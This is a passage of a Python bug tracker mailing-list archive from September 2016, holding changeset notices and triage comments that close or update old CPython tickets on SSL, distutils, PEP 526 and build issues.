From report at bugs.python.org  Thu Sep  8 18:25:12 2016
From: report at bugs.python.org (Eric Snow)
Date: Thu, 08 Sep 2016 22:25:12 +0000
Subject: [issue24254] Make class definition namespace ordered by default
In-Reply-To: <1432186488.39.0.20621749373.issue24254@psf.upfronthosting.co.za>
Message-ID: <1473373512.06.0.123865572472.issue24254@psf.upfronthosting.co.za>


Eric Snow added the comment:

Note that most of the changes here have been reverted in changeset 103366:a964b8d2324e9f22a66e458ea72e6d5c8c1fcc93.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24254>
_______________________________________

From report at bugs.python.org  Thu Sep  8 18:25:36 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 08 Sep 2016 22:25:36 +0000
Subject: [issue26020] set_display evaluation order doesn't match documented
 behaviour
In-Reply-To: <1452048141.82.0.22346371212.issue26020@psf.upfronthosting.co.za>
Message-ID: <20160908222533.69669.24854.5BB66E4A@psf.io>


Roundup Robot added the comment:

New changeset a8d504600c18 by Raymond Hettinger in branch '2.7':
Issue #26020: Fix evaluation order for set literals
https://hg.python.org/cpython/rev/a8d504600c18

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26020>
_______________________________________

From report at bugs.python.org  Thu Sep  8 18:27:40 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 08 Sep 2016 22:27:40 +0000
Subject: [issue26020] set_display evaluation order doesn't match documented
 behaviour
In-Reply-To: <1452048141.82.0.22346371212.issue26020@psf.upfronthosting.co.za>
Message-ID: <20160908222738.20970.45387.B416987D@psf.io>


Roundup Robot added the comment:

New changeset aa2bf603a9bd by Raymond Hettinger in branch '2.7':
Issue #26020: Add news entry
https://hg.python.org/cpython/rev/aa2bf603a9bd

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26020>
_______________________________________

From report at bugs.python.org  Thu Sep  8 18:31:46 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 08 Sep 2016 22:31:46 +0000
Subject: [issue24254] Make class definition namespace ordered by default
In-Reply-To: <1432186488.39.0.20621749373.issue24254@psf.upfronthosting.co.za>
Message-ID: <20160908223143.8696.16763.55C8B5B8@psf.io>


Roundup Robot added the comment:

New changeset 9aa5424fd1df by Eric Snow in branch 'default':
Issue #24254: Drop cls.__definition_order__.
https://hg.python.org/cpython/rev/9aa5424fd1df

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24254>
_______________________________________

From report at bugs.python.org  Thu Sep  8 18:32:37 2016
From: report at bugs.python.org (Eric Snow)
Date: Thu, 08 Sep 2016 22:32:37 +0000
Subject: [issue24254] Make class definition namespace ordered by default
In-Reply-To: <1432186488.39.0.20621749373.issue24254@psf.upfronthosting.co.za>
Message-ID: <1473373957.54.0.12279932349.issue24254@psf.upfronthosting.co.za>


Changes by Eric Snow <ericsnowcurrently at gmail.com>:


----------
Removed message: http://bugs.python.org/msg275185

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24254>
_______________________________________

From report at bugs.python.org  Thu Sep  8 18:32:50 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Thu, 08 Sep 2016 22:32:50 +0000
Subject: [issue26020] set_display evaluation order doesn't match documented
 behaviour
In-Reply-To: <1452048141.82.0.22346371212.issue26020@psf.upfronthosting.co.za>
Message-ID: <1473373970.95.0.153790425197.issue26020@psf.upfronthosting.co.za>


Changes by Raymond Hettinger <raymond.hettinger at gmail.com>:


----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26020>
_______________________________________

From report at bugs.python.org  Thu Sep  8 18:33:53 2016
From: report at bugs.python.org (Zachary Ware)
Date: Thu, 08 Sep 2016 22:33:53 +0000
Subject: [issue28027] Remove Lib/plat-*/* files
In-Reply-To: <1473359899.1.0.11929160412.issue28027@psf.upfronthosting.co.za>
Message-ID: <1473374033.11.0.0467096793074.issue28027@psf.upfronthosting.co.za>


Zachary Ware added the comment:

None of the buildbots have complained about this (they've been too busy complaining about other things), so I'm closing it.

----------
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28027>
_______________________________________

From report at bugs.python.org  Thu Sep  8 18:34:07 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 08 Sep 2016 22:34:07 +0000
Subject: [issue18550] internal_setblocking() doesn't check return value of
 fcntl()
In-Reply-To: <1374694779.19.0.0902694218162.issue18550@psf.upfronthosting.co.za>
Message-ID: <20160908223401.21136.12305.F52705AF@psf.io>


Roundup Robot added the comment:

New changeset 0a52c66f31f5 by Christian Heimes in branch 'default':
Issue 18550: Check return value of ioctl() / fnctl() in internal_setblocking
https://hg.python.org/cpython/rev/0a52c66f31f5

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue18550>
_______________________________________

From report at bugs.python.org  Thu Sep  8 18:35:30 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Thu, 08 Sep 2016 22:35:30 +0000
Subject: [issue27985] Implement PEP 526
In-Reply-To: <1473205727.01.0.952056443906.issue27985@psf.upfronthosting.co.za>
Message-ID: <1473374130.46.0.209037627697.issue27985@psf.upfronthosting.co.za>


Yury Selivanov added the comment:

Ivan, is "hg-pep-526-v5.diff" patch the one I can commit?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27985>
_______________________________________

From report at bugs.python.org  Thu Sep  8 18:35:53 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 22:35:53 +0000
Subject: [issue18550] internal_setblocking() doesn't check return value of
 fcntl()
In-Reply-To: <1374694779.19.0.0902694218162.issue18550@psf.upfronthosting.co.za>
Message-ID: <1473374153.4.0.108381373079.issue18550@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue18550>
_______________________________________

From report at bugs.python.org  Thu Sep  8 18:36:54 2016
From: report at bugs.python.org (Ethan Furman)
Date: Thu, 08 Sep 2016 22:36:54 +0000
Subject: [issue24254] Make class definition namespace ordered by default
In-Reply-To: <1432186488.39.0.20621749373.issue24254@psf.upfronthosting.co.za>
Message-ID: <1473374214.35.0.714556954745.issue24254@psf.upfronthosting.co.za>


Changes by Ethan Furman <ethan at stoneleaf.us>:


----------
nosy: +ethan.furman

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24254>
_______________________________________

From report at bugs.python.org  Thu Sep  8 18:37:09 2016
From: report at bugs.python.org (Ivan Levkivskyi)
Date: Thu, 08 Sep 2016 22:37:09 +0000
Subject: [issue27985] Implement PEP 526
In-Reply-To: <1473205727.01.0.952056443906.issue27985@psf.upfronthosting.co.za>
Message-ID: <1473374229.92.0.382892359412.issue27985@psf.upfronthosting.co.za>


Ivan Levkivskyi added the comment:

Yes,

This is the latest patch that I tested and with resolved merge conflicts.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27985>
_______________________________________

From report at bugs.python.org  Thu Sep  8 18:41:14 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 22:41:14 +0000
Subject: [issue13446] imaplib,
 fetch: improper behaviour on read-only selected mailboxes
In-Reply-To: <1321895059.52.0.840142009955.issue13446@psf.upfronthosting.co.za>
Message-ID: <1473374474.47.0.0474060280147.issue13446@psf.upfronthosting.co.za>


Christian Heimes added the comment:

This patch has been languishing for five year. Do you still like to fix your problem? Please provide a new patch (unified diff) against 3.6.

----------
nosy: +christian.heimes
status: open -> pending
versions: +Python 3.6, Python 3.7 -Python 2.6, Python 2.7, Python 3.1, Python 3.2

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue13446>
_______________________________________

From report at bugs.python.org  Thu Sep  8 18:43:03 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 08 Sep 2016 22:43:03 +0000
Subject: [issue28032] --with-lto builds segfault in many situations
In-Reply-To: <1473370352.47.0.536997029042.issue28032@psf.upfronthosting.co.za>
Message-ID: <20160908224300.59525.8604.5A450766@psf.io>


Roundup Robot added the comment:

New changeset b77465544f28 by Gregory P. Smith in branch '3.5':
issue28032: never imply --with-lto as part of --with-optimizations.
https://hg.python.org/cpython/rev/b77465544f28

New changeset 4a50d87808a6 by Gregory P. Smith in branch 'default':
issue28032: never imply --with-lto as part of --with-optimizations.
https://hg.python.org/cpython/rev/4a50d87808a6

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28032>
_______________________________________

From report at bugs.python.org  Thu Sep  8 18:43:05 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 22:43:05 +0000
Subject: [issue17121] SSH upload for distutils
In-Reply-To: <1359972222.78.0.301395503133.issue17121@psf.upfronthosting.co.za>
Message-ID: <1473374585.59.0.927965151693.issue17121@psf.upfronthosting.co.za>


Christian Heimes added the comment:

I retract my proposal. We don't need ssh upload any more.

----------
resolution:  -> wont fix
stage: needs patch -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue17121>
_______________________________________

From report at bugs.python.org  Thu Sep  8 18:44:21 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 22:44:21 +0000
Subject: [issue18329] for line in socket.makefile() speed degradation
In-Reply-To: <1372541158.63.0.507892499267.issue18329@psf.upfronthosting.co.za>
Message-ID: <1473374661.15.0.0859082718633.issue18329@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Is this still a problem in 3.5 and newer?

----------
status: open -> pending
versions: +Python 3.6, Python 3.7 -Python 3.2, Python 3.3, Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue18329>
_______________________________________

From report at bugs.python.org  Thu Sep  8 18:45:11 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 22:45:11 +0000
Subject: [issue15631] Python 3.3/3.4 installation issue on OpenSUSE lib/lib64
 folders
In-Reply-To: <1344794304.26.0.478120841355.issue15631@psf.upfronthosting.co.za>
Message-ID: <1473374711.94.0.0772570360106.issue15631@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Can we close the ticket or is it still relevant?

----------
nosy: +christian.heimes
status: open -> pending

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue15631>
_______________________________________

From report at bugs.python.org  Thu Sep  8 18:45:28 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 08 Sep 2016 22:45:28 +0000
Subject: [issue28032] --with-lto builds segfault in many situations
In-Reply-To: <1473370352.47.0.536997029042.issue28032@psf.upfronthosting.co.za>
Message-ID: <20160908224525.1920.43843.3ABD86F0@psf.io>


Roundup Robot added the comment:

New changeset 7e89469e4342 by Gregory P. Smith in branch '2.7':
issue28032: never imply --with-lto as part of --with-optimizations.
https://hg.python.org/cpython/rev/7e89469e4342

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28032>
_______________________________________

From report at bugs.python.org  Thu Sep  8 18:45:50 2016
From: report at bugs.python.org (Gregory P. Smith)
Date: Thu, 08 Sep 2016 22:45:50 +0000
Subject: [issue28032] --with-lto builds segfault in many situations
In-Reply-To: <1473370352.47.0.536997029042.issue28032@psf.upfronthosting.co.za>
Message-ID: <1473374750.04.0.655305606192.issue28032@psf.upfronthosting.co.za>


Changes by Gregory P. Smith <greg at krypto.org>:


----------
resolution:  -> fixed
stage: needs patch -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28032>
_______________________________________

From report at bugs.python.org  Thu Sep  8 18:46:01 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 22:46:01 +0000
Subject: [issue19057] Sometimes urllib2 raises URLError when trying POST with
 httpS
In-Reply-To: <1379674537.84.0.951539433247.issue19057@psf.upfronthosting.co.za>
Message-ID: <1473374761.42.0.234262566062.issue19057@psf.upfronthosting.co.za>


Christian Heimes added the comment:

I'm closing this ticket. It's old and hasn't seen any activity in almost three years.

----------
nosy: +christian.heimes
resolution:  -> not a bug
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue19057>
_______________________________________

From report at bugs.python.org  Thu Sep  8 18:46:32 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 22:46:32 +0000
Subject: [issue19180] some RFC references could be updated
In-Reply-To: <525144B9.3040305@python.org>
Message-ID: <1473374792.51.0.114942693071.issue19180@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
stage:  -> needs patch
type:  -> enhancement
versions: +Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue19180>
_______________________________________

From report at bugs.python.org  Thu Sep  8 18:47:29 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 22:47:29 +0000
Subject: [issue20000] SSLContext.get_ca_certs() and self-signed certs
In-Reply-To: <1387220030.99.0.0276464783547.issue20000@psf.upfronthosting.co.za>
Message-ID: <1473374849.98.0.588203231488.issue20000@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
status: open -> pending
versions: +Python 3.7 -Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue20000>
_______________________________________

From report at bugs.python.org  Thu Sep  8 18:48:44 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 22:48:44 +0000
Subject: [issue20762] SSLSocket.read() not documented
In-Reply-To: <1393262503.02.0.956219773808.issue20762@psf.upfronthosting.co.za>
Message-ID: <1473374924.87.0.782607230179.issue20762@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Sounds good, let's deprecate them with #28022.

----------
superseder:  -> SSL releated deprecation for 3.6
versions: +Python 3.6, Python 3.7 -Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue20762>
_______________________________________

From report at bugs.python.org  Thu Sep  8 18:49:26 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 22:49:26 +0000
Subject: [issue20784] 'collections.abc' is no longer defined when collections
 is imported
In-Reply-To: <1393439138.94.0.309642790057.issue20784@psf.upfronthosting.co.za>
Message-ID: <1473374966.88.0.569868026271.issue20784@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue20784>
_______________________________________

From report at bugs.python.org  Thu Sep  8 18:51:12 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 22:51:12 +0000
Subject: [issue13856] xmlrpc / httplib changes to allow for certificate
 verification
In-Reply-To: <1327446175.17.0.819972733751.issue13856@psf.upfronthosting.co.za>
Message-ID: <1473375072.83.0.811750548915.issue13856@psf.upfronthosting.co.za>


Christian Heimes added the comment:

xmlrpc.client.SafeTransport() accepts a context object. You can pass a SSLContext in to perform cert validation and even client cert auth.

----------
resolution:  -> out of date
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue13856>
_______________________________________

From report at bugs.python.org  Thu Sep  8 18:52:13 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 22:52:13 +0000
Subject: [issue7836] Add /usr/sfw/lib to OpenSSL search path for Solaris.
In-Reply-To: <1265104504.64.0.0631825253097.issue7836@psf.upfronthosting.co.za>
Message-ID: <1473375133.17.0.212818611235.issue7836@psf.upfronthosting.co.za>


Christian Heimes added the comment:

I'm closing this old ticket without patch. Please reopen it with a patch if you still want to change the search path.

----------
nosy: +christian.heimes
resolution:  -> out of date
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue7836>
_______________________________________

From report at bugs.python.org  Thu Sep  8 18:53:12 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 22:53:12 +0000
Subject: [issue5575] Add env vars for controlling building sqlite,
 hashlib and ssl
In-Reply-To: <1238101680.27.0.350099709898.issue5575@psf.upfronthosting.co.za>
Message-ID: <1473375192.43.0.759779133725.issue5575@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
resolution:  -> out of date
status: open -> closed
superseder:  -> Provide configure option --with-ssl for compilation with custom openssl

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue5575>
_______________________________________

From report at bugs.python.org  Thu Sep  8 18:54:07 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 22:54:07 +0000
Subject: [issue13564] ftplib and sendfile()
In-Reply-To: <1323413767.49.0.378147798214.issue13564@psf.upfronthosting.co.za>
Message-ID: <1473375247.96.0.928086304271.issue13564@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
versions: +Python 3.6, Python 3.7 -Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue13564>
_______________________________________

From report at bugs.python.org  Thu Sep  8 18:55:35 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 22:55:35 +0000
Subject: [issue12378] smtplib.SMTP_SSL leaks socket connections on SSL error
In-Reply-To: <1308599064.12.0.317669798103.issue12378@psf.upfronthosting.co.za>
Message-ID: <1473375335.82.0.414412199323.issue12378@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
stage: needs patch -> patch review
versions: +Python 3.5, Python 3.6, Python 3.7 -Python 2.7, Python 3.2, Python 3.3

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue12378>
_______________________________________

From report at bugs.python.org  Thu Sep  8 18:57:58 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 22:57:58 +0000
Subject: [issue12197] non-blocking SSL write fails if a partial write was
 issued
In-Reply-To: <1306519609.32.0.152577977388.issue12197@psf.upfronthosting.co.za>
Message-ID: <1473375478.07.0.535100231563.issue12197@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
stage:  -> needs patch
versions: +Python 3.6, Python 3.7 -Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue12197>
_______________________________________

From report at bugs.python.org  Thu Sep  8 18:58:26 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 22:58:26 +0000
Subject: [issue10572] Move test sub-packages to Lib/test
In-Reply-To: <1290991979.58.0.262973706564.issue10572@psf.upfronthosting.co.za>
Message-ID: <1473375506.86.0.0564399863169.issue10572@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
versions: +Python 3.6 -Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue10572>
_______________________________________

From report at bugs.python.org  Thu Sep  8 19:00:04 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 23:00:04 +0000
Subject: [issue22252] ssl blocking IO errors should inherit BlockingIOError
In-Reply-To: <1408728679.49.0.938853718586.issue22252@psf.upfronthosting.co.za>
Message-ID: <1473375604.9.0.896155728577.issue22252@psf.upfronthosting.co.za>


Christian Heimes added the comment:

I agree with Antoine, let's not subclass io.BlockingIOError.

----------
resolution:  -> wont fix
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22252>
_______________________________________

From report at bugs.python.org  Thu Sep  8 19:01:57 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 23:01:57 +0000
Subject: [issue23531] SSL operations cause entire process to hang
In-Reply-To: <1424980715.38.0.880892658959.issue23531@psf.upfronthosting.co.za>
Message-ID: <1473375717.83.0.535968919914.issue23531@psf.upfronthosting.co.za>


Christian Heimes added the comment:

cygwin is not supported. Your demo script works on Linux.

----------
resolution:  -> not a bug
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23531>
_______________________________________

From report at bugs.python.org  Thu Sep  8 19:03:45 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 23:03:45 +0000
Subject: [issue24646] Python accepts SSL certificate that should be rejected
 on OSX
In-Reply-To: <1437073473.95.0.43689019383.issue24646@psf.upfronthosting.co.za>
Message-ID: <1473375825.94.0.25885346641.issue24646@psf.upfronthosting.co.za>


Christian Heimes added the comment:

I think this bug is no longer relevant with Python 3.5 and newer. We no longer use system OpenSSL in our Python builds.

Ned, is that right?

----------
assignee:  -> ned.deily
resolution:  -> not a bug
status: open -> pending

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24646>
_______________________________________

From report at bugs.python.org  Thu Sep  8 19:04:38 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 23:04:38 +0000
Subject: [issue13248] deprecated in 3.2/3.3, should be removed in 3.5 or ???
In-Reply-To: <1319392186.66.0.823106983991.issue13248@psf.upfronthosting.co.za>
Message-ID: <1473375878.57.0.248557141234.issue13248@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Did you keep this ticket open for a reason?

----------
nosy: +christian.heimes

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue13248>
_______________________________________

From report at bugs.python.org  Thu Sep  8 19:08:20 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 23:08:20 +0000
Subject: [issue25158] Python 3.2.2 and 3.5.0 Do not seem compatible with
 OpenSSL 1.0.2d on Solaris 10
In-Reply-To: <1442538684.06.0.30749904186.issue25158@psf.upfronthosting.co.za>
Message-ID: <1473376100.07.0.234124204886.issue25158@psf.upfronthosting.co.za>


Christian Heimes added the comment:

This isn't a bug in Python. The dynamic linker of your OS complains about missing symbols in a shared library that is not under control of Python.

----------
nosy: +christian.heimes
resolution:  -> out of date
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25158>
_______________________________________

From report at bugs.python.org  Thu Sep  8 19:09:48 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 23:09:48 +0000
Subject: [issue25437] Issue with ftplib.FTP_TLS and server forcing SSL
 connection reuse
In-Reply-To: <1445197458.2.0.693285034257.issue25437@psf.upfronthosting.co.za>
Message-ID: <1473376188.04.0.163776115408.issue25437@psf.upfronthosting.co.za>


Christian Heimes added the comment:

I'm going to add session support in #19500 (3.6).

----------
nosy: +christian.heimes
resolution:  -> duplicate
status: open -> closed
superseder:  -> Add client-side SSL session resumption

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25437>
_______________________________________

From report at bugs.python.org  Thu Sep  8 19:10:13 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 23:10:13 +0000
Subject: [issue25404] ssl.SSLcontext.load_dh_params() does not handle unicode
 filenames properly
In-Reply-To: <1444826187.38.0.734586543163.issue25404@psf.upfronthosting.co.za>
Message-ID: <1473376213.55.0.776182722976.issue25404@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25404>
_______________________________________

From report at bugs.python.org  Thu Sep  8 19:11:48 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 23:11:48 +0000
Subject: [issue25883] python 2.7.11 mod_wsgi regression on windows
In-Reply-To: <1450277393.92.0.39025404616.issue25883@psf.upfronthosting.co.za>
Message-ID: <1473376308.41.0.166666954016.issue25883@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25883>
_______________________________________

From report at bugs.python.org  Thu Sep  8 19:19:19 2016
From: report at bugs.python.org (Ivan Levkivskyi)
Date: Thu, 08 Sep 2016 23:19:19 +0000
Subject: [issue26982] Clarify forward annotations in PEP 484
In-Reply-To: <1462756311.8.0.304204398387.issue26982@psf.upfronthosting.co.za>
Message-ID: <1473376759.56.0.262631612473.issue26982@psf.upfronthosting.co.za>


Changes by Ivan Levkivskyi <levkivskyi at gmail.com>:


----------
nosy: +levkivskyi

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26982>
_______________________________________

From report at bugs.python.org  Thu Sep  8 19:23:23 2016
From: report at bugs.python.org (Skip Montanaro)
Date: Thu, 08 Sep 2016 23:23:23 +0000
Subject: [issue15631] Python 3.3/3.4 installation issue on OpenSUSE lib/lib64
 folders
In-Reply-To: <1473374711.94.0.0772570360106.issue15631@psf.upfronthosting.co.za>
Message-ID: <CANc-5Uy7SVjgCJMqNvax1=ijGWLzp+vAWDdnWf4i2e_uN5VqnQ@mail.gmail.com>


Skip Montanaro added the comment:

Not relevant to me.

On Sep 8, 2016 5:45 PM, "Christian Heimes" <report at bugs.python.org> wrote:

>
> Christian Heimes added the comment:
>
> Can we close the ticket or is it still relevant?
>
> ----------
> nosy: +christian.heimes
> status: open -> pending
>
> _______________________________________
> Python tracker <report at bugs.python.org>
> <http://bugs.python.org/issue15631>
> _______________________________________
>

----------
status: pending -> open

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue15631>
_______________________________________

From report at bugs.python.org  Thu Sep  8 19:23:46 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 23:23:46 +0000
Subject: [issue15631] Python 3.3/3.4 installation issue on OpenSUSE lib/lib64
 folders
In-Reply-To: <1344794304.26.0.478120841355.issue15631@psf.upfronthosting.co.za>
Message-ID: <1473377026.08.0.391764085496.issue15631@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
resolution:  -> out of date
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue15631>
_______________________________________

From report at bugs.python.org  Thu Sep  8 19:26:31 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 23:26:31 +0000
Subject: [issue23239] SSL match_hostname does not accept IP Address
In-Reply-To: <1421226292.77.0.451398063166.issue23239@psf.upfronthosting.co.za>
Message-ID: <1473377191.08.0.780909620906.issue23239@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
assignee:  -> christian.heimes
priority: normal -> high
versions: +Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23239>
_______________________________________

From report at bugs.python.org  Thu Sep  8 19:32:29 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 23:32:29 +0000
Subject: [issue9743] __call__.__call__ chain cause crash when long enough
In-Reply-To: <1283438194.03.0.720338364102.issue9743@psf.upfronthosting.co.za>
Message-ID: <1473377549.07.0.653433980944.issue9743@psf.upfronthosting.co.za>


Christian Heimes added the comment:

I can no longer reproduce the crash with:

>>> def func(): pass
... 
>>> call = func.__call__
>>> while True:
...     call = call.__call__


Tested with 2.7, 3.5 and 3.6dev.

----------
nosy: +christian.heimes
resolution:  -> works for me
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue9743>
_______________________________________

From report at bugs.python.org  Thu Sep  8 19:36:52 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 23:36:52 +0000
Subject: [issue7412] distutils install race condition
In-Reply-To: <1259571666.51.0.555227768726.issue7412@psf.upfronthosting.co.za>
Message-ID: <1473377812.68.0.0978369060736.issue7412@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Donald, what is your opinion on this issue?

----------
assignee: tarek -> dstufft
nosy: +christian.heimes, dstufft
versions: +Python 3.6 -Python 2.7, Python 3.2

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue7412>
_______________________________________

From report at bugs.python.org  Thu Sep  8 19:41:27 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 23:41:27 +0000
Subject: [issue16112] platform.architecture does not correctly escape argument
 to /usr/bin/file
In-Reply-To: <1349205316.95.0.274773533894.issue16112@psf.upfronthosting.co.za>
Message-ID: <1473378086.98.0.899564962791.issue16112@psf.upfronthosting.co.za>


Christian Heimes added the comment:

I don't see why backwards compatibility with ancient, unsupported Python versions should be more important than security. Let's use the subprocess module here.

MAL, if you need platform.py for some old projects, please vendor it and use a copy.

----------
nosy: +christian.heimes
stage: resolved -> needs patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue16112>
_______________________________________

From report at bugs.python.org  Thu Sep  8 19:42:27 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 23:42:27 +0000
Subject: [issue17102] tarfile extract can write files outside the destination
 path
In-Reply-To: <1359784947.71.0.187572651427.issue17102@psf.upfronthosting.co.za>
Message-ID: <1473378147.59.0.962138793002.issue17102@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
stage:  -> needs patch
versions: +Python 3.5, Python 3.6, Python 3.7 -Python 3.2, Python 3.3, Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue17102>
_______________________________________

From report at bugs.python.org  Thu Sep  8 19:43:48 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 23:43:48 +0000
Subject: [issue17096] the system keyring should be used instead of ~/.pypirc
